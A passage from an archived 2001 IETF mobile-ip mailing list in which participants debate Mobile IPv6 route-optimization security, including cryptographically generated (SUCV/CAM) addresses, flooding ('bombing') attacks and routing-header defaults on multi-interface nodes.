 boundary="------------9A478337C3BC52E73CA4F874"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--------------9A478337C3BC52E73CA4F874
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

>

Hello,

BTW this is a great draft.

Just fews comment :
In the draft, you say:
"Another shortcoming of the CAM-type addresses is that although they
   prevent the theft of another host's address, they do not stop the
   attacker from inventing new false addresses with an arbitrary
   routing prefix. The attacker can generate a public key and a
   matching IP address in any network and use it to mount bombing
   attacks (as described in Section 2.5). ".

I thing this is not true. In SUCV (and i believe this is the same with CAM),
the MN proves the onwership of the Interface Identifier that it is using to
configure its HomeAddress...if the MN configures its CoAs with the same
Interface Identifier then the MN basically proves that it owns the CoAs...
since this Interface Identifier is statically "unique", an attacker can not
bomb someone with Mobile IPv6...

Just to summarize how this works,
-the MN generates its interface ID  (we call it SUCV HID in SUCV) from its public
key
- it then MUST generate its HomeAddress and Care-of Addresses by appending the
corresponding
routing prefix to its SUCV HID
- when a MN sends a BU to a CN, its signs it with its private key...
- the CN verifies the signature and that the SUCV HID was generated
from the public key...

As a result, an attacker can only use MIP to bomb someone if it is able to build a
SUCV HID that
is equal to the victim's interface id. This is very difficult....
So by advocating to use the same SUCV HID than the Home Address for the Care-of
addresses you solve
the bombing problem you mention....for free...

Claude.



--

----------------------------------------
Claude CASTELLUCCIA, INRIA Rhone-Alpes
ph:  +33 4.76.61.52.15 (fax: 52.52)
http://www.inrialpes.fr/planete/



--------------9A478337C3BC52E73CA4F874
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>

<blockquote TYPE=CITE>&nbsp;</blockquote>
Hello,
<p>BTW this is a great draft.
<p>Just fews comment :
<br>In the draft, you say:
<br>"Another shortcoming of the CAM-type addresses is that although they
<br>&nbsp;&nbsp; prevent the theft of another host's address, they do not
stop the
<br>&nbsp;&nbsp; attacker from inventing new false addresses with an arbitrary
<br>&nbsp;&nbsp; routing prefix. The attacker can generate a public key
and a
<br>&nbsp;&nbsp; matching IP address in any network and use it to mount
bombing
<br>&nbsp;&nbsp; attacks (as described in Section 2.5). ".
<p>I thing this is not true. In SUCV (and i believe this is the same with
CAM),
<br>the MN&nbsp;proves the onwership of the Interface Identifier that it
is using to
<br>configure its HomeAddress...if the MN configures its CoAs with the
same
<br>Interface Identifier then the MN&nbsp;basically proves that it owns
the CoAs...
<br>since this Interface Identifier is statically "unique", an attacker
can not
<br>bomb someone with Mobile IPv6...
<p>Just to summarize how this works,
<br>-the MN&nbsp;generates its interface ID &nbsp;(we call it SUCV&nbsp;HID&nbsp;in
SUCV) from its public key
<br>- it then MUST&nbsp;generate its HomeAddress and Care-of Addresses
by appending the corresponding
<br>routing prefix to its SUCV&nbsp;HID
<br>- when a MN sends a BU to a CN, its signs it with its private key...
<br>- the CN&nbsp;verifies the signature and that the SUCV&nbsp;HID was
generated
<br>from the public key...
<p>As a result, an attacker can only use MIP to bomb someone if it is able
to build a SUCV&nbsp;HID that
<br>is equal to the victim's interface id. This is very difficult....
<br>So by advocating to use the same SUCV&nbsp;HID&nbsp;than the Home Address
for the Care-of addresses you solve
<br>the bombing problem you mention....for free...
<p>Claude.
<br>&nbsp;
<br>&nbsp;
<pre>--&nbsp;

----------------------------------------
Claude CASTELLUCCIA, INRIA Rhone-Alpes&nbsp;&nbsp;
ph:&nbsp; +33 4.76.61.52.15 (fax: 52.52)
<A HREF="http://www.inrialpes.fr/planete/">http://www.inrialpes.fr/planete/</A></pre>
&nbsp;</html>

--------------9A478337C3BC52E73CA4F874--



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 19 04:53:50 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA23787
	for <mobileip-archive@odin.ietf.org>; Mon, 19 Nov 2001 04:53:49 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA26536;
	Mon, 19 Nov 2001 01:52:34 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA00730;
	Mon, 19 Nov 2001 01:52:11 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJ9pXLS025745
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 01:51:33 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAJ9pX3B025744
	for mobile-ip-dist; Mon, 19 Nov 2001 01:51:33 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJ9pSLS025732
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 01:51:29 -0800 (PST)
Received: from lillen (lillen [129.157.212.23])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAJ9pPq22637;
	Mon, 19 Nov 2001 10:51:25 +0100 (MET)
Date: Mon, 19 Nov 2001 10:50:35 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Comments on draft-savola-ipv6-rh-ha-security-00.txt
To: Pekka Savola <pekkas@netcore.fi>
Cc: mobile-ip@sunroof.eng.sun.com, Erik Nordmark <Erik.Nordmark@eng.sun.com>
In-Reply-To: "Your message with ID" <Pine.LNX.4.33.0111181141260.12507-100000@netcore.fi>
Message-ID: <Roam.SIMC.2.0.6.1006163435.14761.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> > We might still be disagreeing on what the default setting should be.
> 
> Probably.  My argument is that multi-interface nodes almost always (to my 
> knowledge) trust the interfaces to a diffrent extent.
> 
> Most access routers, servers with e.g. management, backup or whatever 
> interfaces, etc.
>
> Exceptions I can think of quickly are core routers (being routers, these 
> rules don't apply to them anyway), and some webservers etc. that have 
> multiple interfaces for load balancing, redundancy etc.

Ah - you only list servers in your list.
What about the many clients that have e.g. a 802.11 and a GPRS interface,
plus potentially a logical interface hosting a single home address.
For such multi-interfaced devices the default of allowing routing headers
to "cross" between interfaces make sense to me.

  Erik
 



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 19 04:57:56 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA23828
	for <mobileip-archive@odin.ietf.org>; Mon, 19 Nov 2001 04:57:56 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA27529;
	Mon, 19 Nov 2001 02:56:34 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA01327;
	Mon, 19 Nov 2001 01:56:44 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJ9u5LS025878
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 01:56:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAJ9u443025877
	for mobile-ip-dist; Mon, 19 Nov 2001 01:56:04 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJ9u1LS025867
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 01:56:01 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA19897;
	Mon, 19 Nov 2001 01:56:01 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA09267;
	Mon, 19 Nov 2001 02:56:14 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAJ9tsX22872;
	Mon, 19 Nov 2001 11:55:54 +0200
Date: Mon, 19 Nov 2001 11:55:54 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Erik Nordmark <Erik.Nordmark@eng.sun.com>
cc: <mobile-ip@sunroof.eng.sun.com>
Subject: Re: [mobile-ip] Comments on draft-savola-ipv6-rh-ha-security-00.txt
In-Reply-To: <Roam.SIMC.2.0.6.1006163435.14761.nordmark@bebop.france>
Message-ID: <Pine.LNX.4.33.0111191152300.22839-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Mon, 19 Nov 2001, Erik Nordmark wrote:
> > > We might still be disagreeing on what the default setting should be.
> > 
> > Probably.  My argument is that multi-interface nodes almost always (to my 
> > knowledge) trust the interfaces to a diffrent extent.
> > 
> > Most access routers, servers with e.g. management, backup or whatever 
> > interfaces, etc.
> >
> > Exceptions I can think of quickly are core routers (being routers, these 
> > rules don't apply to them anyway), and some webservers etc. that have 
> > multiple interfaces for load balancing, redundancy etc.
> 
> Ah - you only list servers in your list.
> What about the many clients that have e.g. a 802.11 and a GPRS interface,
> plus potentially a logical interface hosting a single home address.
> For such multi-interfaced devices the default of allowing routing headers
> to "cross" between interfaces make sense to me.

802.11 and GRPS have potentially different security, for example, company 
WLAN and mobile operator GPRS.

The main issue here is, IMO, what to do with logical interfaces.  At least
some of these could be treated as an exception (that is, interpreted as
being assigned on every interface), especially if the implementation is
made such that Home Addresses are on a logical interface, not a property
of a physical interface address.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 19 05:01:43 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA23866
	for <mobileip-archive@odin.ietf.org>; Mon, 19 Nov 2001 05:01:43 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA29184;
	Mon, 19 Nov 2001 01:59:55 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA01478;
	Mon, 19 Nov 2001 01:57:20 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJ9uVLS025903
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 01:56:31 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAJ9uUYL025900
	for mobile-ip-dist; Mon, 19 Nov 2001 01:56:30 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJ9uPLS025890
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 01:56:25 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA19938
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 01:56:26 -0800 (PST)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA16760
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 01:56:24 -0800 (PST)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id fAJ9uMC14019
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 10:56:22 +0100 (MET)
Received: from lmf.ericsson.se (lmf4ws450.lmf.ericsson.se [131.160.38.50])
	by fogerty.lmf.ericsson.se (8.11.3/8.11.3) with ESMTP id fAJ9uLh27384
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 11:56:21 +0200 (EET)
Message-ID: <3BF8D745.43E02055@lmf.ericsson.se>
Date: Mon, 19 Nov 2001 11:56:21 +0200
From: Jari Arkko <Jari.Arkko@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.77 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] I-D: Security Framework for Mobile IPv6 Route Optimization
References: <Roam.SIMC.2.0.6.1005847149.22529.nordmark@bebop.france>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

I published an Internet Draft that is described below.
I don't think the announcement came to the mobile IP
list, though, so here's a copy:

>A New Internet-Draft is available from the on-line Internet-Drafts directories.
>
>
>  Title           : Security Framework for Mobile IPv6 Route Optimization
>  Author(s)       : J. Arkko
>  Filename        : draft-arkko-mipv6ro-secframework-00.txt
>  Pages           : 12
>  Date            : 15-Nov-01
>        
>Without a security solution, Mobile IPv6 Route Optimization function-
>ality exposes the involved nodes as well as other nodes in the Inter-
>net to various security attacks. Recent work in the area has produced
>a number of proposals to solve these security issues. The proposals
>are, however, in many cases architecturally quite different from each
>other, and don't always describe more than a part of the solution. Due
>to the complexity of the problem, we feel that it is necessary to doc-
>ument a higher level solution roadmap. We call this roadmap the 'Secu-
>rity Framework for Route Optimization'. It talks about the architec-
>ture that a complete solution has, and the components that are needed.
>We also discuss factors affecting the need for various components and
>particular technical solutions for them.
>
>A URL for this Internet-Draft is:
>http://www.ietf.org/internet-drafts/draft-arkko-mipv6ro-secframework-00.txt


From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 19 05:09:55 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA24017
	for <mobileip-archive@odin.ietf.org>; Mon, 19 Nov 2001 05:09:54 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA05806;
	Mon, 19 Nov 2001 03:08:38 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA03003;
	Mon, 19 Nov 2001 02:08:41 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJA7rLS026155
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 02:07:53 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAJA7rSC026154
	for mobile-ip-dist; Mon, 19 Nov 2001 02:07:53 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJA7nLS026147
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 02:07:49 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA02926
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 02:07:50 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA18854
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 02:07:49 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAJA7mP22949;
	Mon, 19 Nov 2001 12:07:48 +0200
Date: Mon, 19 Nov 2001 12:07:47 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <mobile-ip@sunroof.eng.sun.com>
cc: <tuomaura@microsoft.com>
Subject: Re: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
In-Reply-To: <3BF8D475.68BC2607@inrialpes.fr>
Message-ID: <Pine.LNX.4.33.0111191200230.22839-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Mon, 19 Nov 2001, Claude Castelluccia wrote:
> I thing this is not true. In SUCV (and i believe this is the same with CAM),
> the MN proves the onwership of the Interface Identifier that it is using to
> configure its HomeAddress...if the MN configures its CoAs with the same
> Interface Identifier then the MN basically proves that it owns the CoAs...
> since this Interface Identifier is statically "unique", an attacker can not
> bomb someone with Mobile IPv6...

[snip]

> As a result, an attacker can only use MIP to bomb someone if it is able to build a
> SUCV HID that
> is equal to the victim's interface id. This is very difficult....

I not so sure about that, depending on the network usage patterns of the
victim.

If you'd want to bomb an arbitrary node at random, it would be 
difficult... 2^64 is a big number..

If you'd really want to bomb a certain node, you'd by definition already
know it's address, or at least something significant about it.  Other data 
could be gathered from web server logs, traffic analysis, irc 
/whois etc.etc.

I believe getting the interface ID would not prove too difficult if you 
really wanted to.  This could be avoided by extensive use of privacy 
extensions, but mandating that wouldn't be possible..

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords




From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 19 05:21:04 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA24446
	for <mobileip-archive@odin.ietf.org>; Mon, 19 Nov 2001 05:21:03 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA05940;
	Mon, 19 Nov 2001 02:19:56 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA03989;
	Mon, 19 Nov 2001 02:19:25 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJAIZLS026318
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 02:18:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAJAIY34026317
	for mobile-ip-dist; Mon, 19 Nov 2001 02:18:34 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJAIVLS026310
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 02:18:31 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA18750
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 02:18:32 -0800 (PST)
Received: from ebene.inrialpes.fr (ebene.inrialpes.fr [194.199.18.70])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA28404
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 02:18:31 -0800 (PST)
Received: from inrialpes.fr (glandon.inrialpes.fr [194.199.24.105])
	by ebene.inrialpes.fr (8.11.6/8.11.6) with ESMTP id fAJAEgr25055
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 19 Nov 2001 11:14:43 +0100 (MET)
Message-ID: <3BF8DB93.89916822@inrialpes.fr>
Date: Mon, 19 Nov 2001 11:14:44 +0100
From: Claude Castelluccia <claude.castelluccia@inrialpes.fr>
X-Mailer: Mozilla 4.7 [en] (X11; I; SunOS 5.8 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] I-D ACTION:draft-aura-mipv6-bu-attacks-00.txt
References: <Pine.LNX.4.33.0111191200230.22839-100000@netcore.fi>
Content-Type: multipart/alternative;
 boundary="------------DB1B5A401F9B390CDD2AE21C"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--------------DB1B5A401F9B390CDD2AE21C
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Pekka Savola wrote:

> On Mon, 19 Nov 2001, Claude Castelluccia wrote:
> > I thing this is not true. In SUCV (and i believe this is the same with CAM),
> > the MN proves the onwership of the Interface Identifier that it is using to
> > configure its HomeAddress...if the MN configures its CoAs with the same
> > Interface Identifier then the MN basically proves that it owns the CoAs...
> > since this Interface Identifier is statically "unique", an attacker can not
> > bomb someone with Mobile IPv6...
>
> [snip]
>
> > As a result, an attacker can only use MIP to bomb someone if it is able to build a
> > SUCV HID that
> > is equal to the victim's interface id. This is very difficult....
>
> I not so sure about that, depending on the network usage patterns of the
> victim.
>
> If you'd want to bomb an arbitrary node at random, it would be
> difficult... 2^64 is a big number..
>
> If you'd really want to bomb a certain node, you'd by definition already
> know it's address, or at least something significant about it.  Other data
> could be gathered from web server logs, traffic analysis, irc
> /whois etc.etc.
>
> I believe getting the interface ID would not prove too difficult if you
> really wanted to.  This could be avoided by extensive use of privacy
> extensions, but mandating that wouldn't be possible..
>

Pekka,

sure it is easy to know someone address and interface id ...but in order to
bomb this address you need to prove that you can generate it (i.e you know
a valid Pub/priv key pair that hashes to it) and this is not very easy...

There is nothing about privacy here...you don't need to hide your address...
i really don't get your comment...am i missing something?

regards,
Claude.

--

----------------------------------------
Claude CASTELLUCCIA, INRIA Rhone-Alpes
ph:  +33 4.76.61.52.15 (fax: 52.52)
http://www.inrialpes.fr/planete/



--------------DB1B5A401F9B390CDD2AE21C
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Pekka Savola wrote:
<blockquote TYPE=CITE>On Mon, 19 Nov 2001, Claude Castelluccia wrote:
<br>> I thing this is not true. In SUCV (and i believe this is the same
with CAM),
<br>> the MN proves the onwership of the Interface Identifier that it is
using to
<br>> configure its HomeAddress...if the MN configures its CoAs with the
same
<br>> Interface Identifier then the MN basically proves that it owns the
CoAs...
<br>> since this Interface Identifier is statically "unique", an attacker
can not
<br>> bomb someone with Mobile IPv6...
<p>[snip]
<p>> As a result, an attacker can only use MIP to bomb someone if it is
able to build a
<br>> SUCV HID that
<br>> is equal to the victim's interface id. This is very difficult....
<p>I not so sure about that, depending on the network usage patterns of
the
<br>victim.
<p>If you'd want to bomb an arbitrary node at random, it would be
<br>difficult... 2^64 is a big number..
<p>If you'd really want to bomb a certain node, you'd by definition already
<br>know it's address, or at least something significant about it.&nbsp;
Other data
<br>could be gathered from web server logs, traffic analysis, irc
<br>/whois etc.etc.
<p>I believe getting the interface ID would not prove too difficult if
you
<br>really wanted to.&nbsp; This could be avoided by extensive use of privacy
<br>extensions, but mandating that wouldn't be possible..
<br>&nbsp;</blockquote>
Pekka,
<p>sure it is easy to know someone address and interface id ...but in order
to
<br>bomb this address you need to prove that you can generate it (i.e you
know
<br>a valid Pub/priv key pair that hashes to it)&nbsp;and this is not very
easy...
<p>There is nothing about privacy here...you don't need to hide your address...
<br>i really don't get your comment...am i missing something?
<p>regards,
<br>Claude.
<pre>--&nbsp;

----------------------------------------
Claude CASTELLUCCIA, INRIA Rhone-Alpes&nbsp;&nbsp;
ph:&nbsp; +33 4.76.61.52.15 (fax: 52.52)
<A HREF="http://www.inrialpes.fr/planete/">http://www.inrialpes.fr/planete/</A></pre>
&nbsp;</html>

--------------DB1B5A401F9B390CDD2AE21C--



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 19 05:54:40 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA25011
	for <mobileip-archive@odin.ietf.org>; Mon, 19 Nov 2001 05:54:39 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA15990;
	Mon, 19 Nov 2001 02:53:35 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA22056;
	Mon, 19 Nov 2001 02:53:26 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAJAqcLS026463
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 19 Nov 2001 02:52:38 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAJAqciT026462
	for mobile-ip-dist; Mon, 19 Nov 2001 02:52:38 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
